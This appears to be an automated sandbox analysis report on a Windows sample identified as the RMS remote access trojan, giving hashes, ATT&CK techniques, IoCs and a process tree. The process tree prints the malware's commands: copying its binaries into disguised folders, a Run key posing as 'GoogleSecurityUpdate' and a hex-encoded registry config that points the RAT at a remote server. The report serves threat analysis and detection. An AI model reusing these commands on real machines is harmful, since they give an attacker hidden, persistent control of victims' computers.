rms | 31bf8f79ee6fb5a659ae6f63da0389e98c53d1cb53f85d6bb916647a6d764e48

General

Target
jaffacakes118_31bf8f79ee6fb5a659ae6f63da0389e98c53d1cb53f85d6bb916647a6d764e48.exe
Size 83KB
Sample260925-feznmayt2m
SHA256 31bf8f79ee6fb5a659ae6f63da0389e98c53d1cb53f85d6bb916647a6d764e48
MD5 67f09402425b0be36f0556c303d6c407
SHA1 ff31d635aab85a2d8bad7e5c8db2fa432bc7f6f1
SHA512 0ed654bb76b550941b0575b8d0b3de1c376321f1bfc40e4f83987adf1522f4cc20c82e288ba9076fe1c85ac0aaa76b2d71e9d49493df89b593384090c4965310
SSDEEP 1536:EeAZLLL1GXAQ5kBOWY94bgvGi+bNLkB84jU7J/cRtPZNkA4:JQBB0+bNLu8FJ/mlZ2A4
TLSH
T17283F622F680812FE6E2497A93F75A576618AD354B02B4CB63C439BE5B762C32D33147
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery rms persistence rat trojan

Malware Config

Signatures

Family: RMS
Remote Manipulator System (RMS) is a remote access tool developed by Russian organization TektonIT.
trojan rat rms

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2251218687-1689653882-3767565116-1000\Software\Microsoft\Windows\CurrentVersion\Run\GoogleSecurityUpdate = "C:\\ProgramData\\User\\Data\\RutservUpdate.exe /a"	jaffacakes118_31bf8f79ee6fb5a659ae6f63da0389e98c53d1cb53f85d6bb916647a6d764e48.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	iplogger.com
2	iplogger.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jaffacakes118_31bf8f79ee6fb5a659ae6f63da0389e98c53d1cb53f85d6bb916647a6d764e48.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xcopy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xcopy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xcopy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 5924 wrote to memory of 4092	5924	jaffacakes118_31bf8f79ee6fb5a659ae6f63da0389e98c53d1cb53f85d6bb916647a6d764e48.exe	89
PID 5924 wrote to memory of 5252	5924	jaffacakes118_31bf8f79ee6fb5a659ae6f63da0389e98c53d1cb53f85d6bb916647a6d764e48.exe	91
PID 5924 wrote to memory of 4656	5924	jaffacakes118_31bf8f79ee6fb5a659ae6f63da0389e98c53d1cb53f85d6bb916647a6d764e48.exe	93
PID 5924 wrote to memory of 6032	5924	jaffacakes118_31bf8f79ee6fb5a659ae6f63da0389e98c53d1cb53f85d6bb916647a6d764e48.exe	95
PID 5924 wrote to memory of 4564	5924	jaffacakes118_31bf8f79ee6fb5a659ae6f63da0389e98c53d1cb53f85d6bb916647a6d764e48.exe	97

C:\Users\Admin\AppData\Local\Temp\jaffacakes118_31bf8f79ee6fb5a659ae6f63da0389e98c53d1cb53f85d6bb916647a6d764e48.exe
"C:\Users\Admin\AppData\Local\Temp\jaffacakes118_31bf8f79ee6fb5a659ae6f63da0389e98c53d1cb53f85d6bb916647a6d764e48.exe"
1⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5924
- C:\Windows\SysWOW64\xcopy.exe
  "C:\Windows\System32\xcopy.exe" C:\ProgramData\rutserv.exe C:\ProgramData\Recovery\rutadmin\ /I /Y /C
  2⤵
  - System Location Discovery: System Language Discovery
  - Enumerates system info in registry
  PID:4092
- C:\Windows\SysWOW64\xcopy.exe
  "C:\Windows\System32\xcopy.exe" C:\ProgramData\rutserv.exe C:\ProgramData\Oracle\Java\ /I /Y /C
  2⤵
  - System Location Discovery: System Language Discovery
  - Enumerates system info in registry
  PID:5252
- C:\Windows\SysWOW64\xcopy.exe
  "C:\Windows\System32\xcopy.exe" C:\ProgramData\RutservUpdate.exe C:\ProgramData\User\Data\ /I /Y /C
  2⤵
  - System Location Discovery: System Language Discovery
  - Enumerates system info in registry
  PID:4656
- C:\Windows\SysWOW64\reg.exe
  "C:\Windows\System32\reg.exe" add "HKCU\Software\TektonIT\Remote Manipulator System\Host\Parameters" /v InternetId /t REG_BINARY /d efbbbf3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e0d0a3c726d735f696e7465726e65745f69645f73657474696e67732076657273696f6e3d223638303031223e3c696e7465726e65745f69643e3032302d3039312d3138302d3832383c2f696e7465726e65745f69643e3c7573655f696e65745f636f6e6e656374696f6e3e747275653c2f7573655f696e65745f636f6e6e656374696f6e3e3c696e65745f7365727665723e3138352e3230332e3234332e3131373c2f696e65745f7365727665723e3c7573655f637573746f6d5f696e65745f7365727665723e747275653c2f7573655f637573746f6d5f696e65745f7365727665723e3c696e65745f69645f706f72743e353635353c2f696e65745f69645f706f72743e3c7573655f696e65745f69645f697076363e66616c73653c2f7573655f696e65745f69645f697076363e3c2f726d735f696e7465726e65745f69645f73657474696e67733e0d0a /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:6032
- C:\Windows\SysWOW64\reg.exe
  "C:\Windows\System32\reg.exe" import id.reg
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4564